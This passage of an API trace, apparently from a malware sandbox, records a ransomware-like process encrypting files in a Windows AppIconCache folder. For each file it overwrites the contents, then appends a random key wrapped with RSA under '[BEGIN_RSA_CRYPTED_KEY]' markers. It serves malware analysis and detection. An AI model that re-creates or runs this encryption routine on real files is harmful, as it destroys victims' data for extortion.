(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{CCFCB7FC-2028-4A4A-ABF5-E54B32C6B79B}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{ccfcb7fc-2028-4a4a-abf5-e54b32c6b79b}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0245.945] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0245.945] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.947] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0245.947] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.947] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0245.947] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.947] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.947] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0245.947] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0245.947] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0245.947] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="EA/u9SpAXJ3y7lSFXkjADskjld1ZoyN1f+JCU65/csn1X1b+5pUqlvhFa3p/Jnm1\npggtR0HzrUo1IlV7Mx7NbHPhUyUfUC9jNdKiyCtyIzQePIuaQnhWlLSd+Sw1f7XR\nO24AvERpYDFe08f4koahIIaZAUkivgULd3NlNPpFVqC4Ec6zQVt+6QUfTs/y0I9A\nzBvwgUqMqkCxekz27rnvwQmu7jeObEutyUZJSndi+a4x8QCCGYv8uaZFCgLOmUvu\nxN1lFUQ/mOE6md6ZWM06+hwhZqY51eRl1C29S9ZFJ6A9enqQxYNYWfYFtjo4V0m7\nzTJTUJy3ZCAvjOaNeDUBAA==\n", pcchString=0x2e3f9a8) returned 1 [0245.947] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0245.947] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.948] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.948] CloseHandle (hObject=0x1afc) returned 1 [0245.952] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0245.952] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{CC7998BC-2891-44C5-8EC4-A45AC15BC944}", dwFileAttributes=0x80) returned 1 [0245.953] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{CC7998BC-2891-44C5-8EC4-A45AC15BC944}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{cc7998bc-2891-44c5-8ec4-a45ac15bc944}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0245.953] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0245.953] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.972] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0245.972] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.972] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0245.972] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.972] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.972] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0245.972] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0245.973] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0245.973] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="KGunpaQs2kWe/jTlbqnxvE5dQN+pIPjFka7PwmRj0avhbRUzq8+/bZj/X0F50I4y\n+rJ3GuJHbQp8KQILSJ5z5yYhgU1pPMhr16p18U2qJ62IPeAsE8sjpeyTEHn8OCk3\nyx9khhg+sHJhM+RhtGDcLgSMxEC7v7N/zv0nFEq7GPrdtiLMvpRZ7XsNusMPOjgr\nFWUU4CyJKEqcPh/3PYoPWiqE6mRZjyqPVyLO74wFbEGkaFkDB/BK7OlTqYG7Eg+8\nc4JE8QapT2sEAS3gpzfV4QY1ozNLk2YWt7hqDkykRCIKdFZwhlSqsWzGulwDZ0M8\n+01C8UgRvbmSc4Zlmy2PKw==\n", pcchString=0x2e3f9a8) returned 1 [0245.973] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0245.973] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.973] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.973] CloseHandle (hObject=0x1afc) returned 1 [0245.974] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0245.974] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{CBF5E617-6EF4-410E-8402-BDB7BBF74C0C}", dwFileAttributes=0x80) returned 1 [0245.975] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{CBF5E617-6EF4-410E-8402-BDB7BBF74C0C}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{cbf5e617-6ef4-410e-8402-bdb7bbf74c0c}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0245.976] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0245.976] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.977] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0245.977] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.977] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0245.977] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.977] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.977] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0245.977] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0245.978] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0245.978] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="50D4mhkAAxQu7yPn4A2GDjIdlRFMNVBPNf0xetaurEHSdDA7g3LzOz3/OfFk1Mvv\ngSHV2dAAr/LOsNmSb5LkmgAWDpBZYj/P0stXNi4EHnWyYVXh7VzhYkhN9BX2VMVf\nQQQarIza8NSVwnO0BDrCvAPTk63wqgPfJsfSjAwBRaA6r3tqlWwUjKJOAj1uvg4Z\nYsNVO6vIj0a8Y20XfiEvP6S/+7WEv1vjw9yjlaI//qNFAzaX6FHhrORFe1ohcFXh\nv4N9j/JWDXigVYWkvildjAby4c3En4Aq9UdVvT+n6M9bhqhzQu6g9ZuGI77AOZ07\nSKXUHwpY3Fp1P2lPX/p5ig==\n", pcchString=0x2e3f9a8) returned 1 [0245.978] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0245.978] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.978] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.978] CloseHandle (hObject=0x1afc) returned 1 [0245.979] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0245.979] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{CB298749-48A1-4798-9A9A-8B43AB5322B0}", dwFileAttributes=0x80) returned 1 [0245.980] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{CB298749-48A1-4798-9A9A-8B43AB5322B0}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{cb298749-48a1-4798-9a9a-8b43ab5322b0}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0245.981] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0245.981] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.983] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0245.983] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.983] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0245.983] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.983] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.983] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0245.983] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0245.983] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0245.983] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="8fKXaomF5SHxaYleofHlon/Ab2/VLdKhUU4xa6c4J5+WGp2x18wxkatRd6xZxyf7\nE00E9WQ6Mvw7PubVRiMWxlxLno8a3mvw5xYhgTyOoQtFmu6/ifFOwYyc7xgF4HTk\nYWzZtljNXpysH6I1AFFN2Vr+S5pB3tOrRocqt4eZWRxdUYLDIxhKIWjCVmn9m6KK\n+Q6sumSD3QpReL24ZnoqYZBPw/aD6Bpr2G3/dFIndLtPP5lZjfme3cYxclOSQF4H\nAPwU7Oa/U7whkvMtLsAKChpov7HGS2KWhanZ7LY2xKTjn1kZNbpVNaS28EiK7CNp\nx51T+xZNCW2hYGkiwqL6iw==\n", pcchString=0x2e3f9a8) returned 1 [0245.983] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0245.984] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.984] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.984] CloseHandle (hObject=0x1afc) returned 1 [0245.985] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0245.985] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{C9F8EE44-9323-44C4-9CC8-08B4A25945B1}", dwFileAttributes=0x80) returned 1 [0245.985] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{C9F8EE44-9323-44C4-9CC8-08B4A25945B1}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{c9f8ee44-9323-44c4-9cc8-08b4a25945b1}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0245.986] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0245.986] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.987] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0245.987] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.987] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0245.987] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.987] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.988] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0245.988] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0245.988] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0245.988] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="j3N5y38QXFhiwQQJHkfoNJJ9EeQVZR+CzTMwWadRkXXmc7nYtRyN8wfXs+rDC4cP\nELLKEHObMblqSB0nacGm9A3eaxarwppiehlJRua9dgJ6oH709JycC9kLvfLmY18l\nw9qyKsY+ywY6E3yK0fh3r/rZHpfTqBoaPK8qx7GheDoVGZvPT4Eq2XNLOQPjlQ+n\ngQl94kpxYcG+zcqgejcHgJHtQsN/VBuxKEIvoTiV8LhJ5UCyJHMOeslPSbNxYas4\n4A1pbX/V0FWb+BxrWaPxcIuUp6ExROgvWjgMWxWOeh2hNoaf87nUGP79BrUwc3dD\n8lnsR/U+LFjkXyG2BKi3UA==\n", pcchString=0x2e3f9a8) returned 1 [0245.988] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0245.988] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.988] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.988] CloseHandle (hObject=0x1afc) returned 1 [0245.990] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0245.990] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{C6D1DB9A-A97A-4235-A8B7-EDC02B3FA8CE}", dwFileAttributes=0x80) returned 1 [0245.990] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{C6D1DB9A-A97A-4235-A8B7-EDC02B3FA8CE}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{c6d1db9a-a97a-4235-a8b7-edc02b3fa8ce}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0245.991] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0245.991] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.992] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0245.992] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.993] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0245.993] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.993] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.993] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0245.993] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0245.993] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0245.993] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="UtHlJIEON4mbQMkLb4oELcsVVYnxpdfdhjEuXymLtk4JuicTr5KmrBGU3UvuiMXj\nqAW0rLN30VBl7dpchRBPuhTqEXZ4jJgmARz7SUovTBYPND+03WS69linA7gDjysq\nnODpmXfj4pc3jrH8BmG0HE1r3V1ePheeKLxzk1ZqhHPe3JMVm5Ia4+zxpHkL8ijV\n/BWTFzbOOIV1B8e3NGc8pFYKLjxnKh2QUQzE6v2qg033Y9W+IuU7mLQHqGAA61nP\ndimoNSHDHd9tZaRVG+ZdVgIhJlxXjdTfl0HMCYQTdVlwdMYPgAqUIgzsOub3xkH3\n2Cx41zgjORO6Q9vEX3tBEA==\n", pcchString=0x2e3f9a8) returned 1 [0245.993] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0245.993] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.993] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, 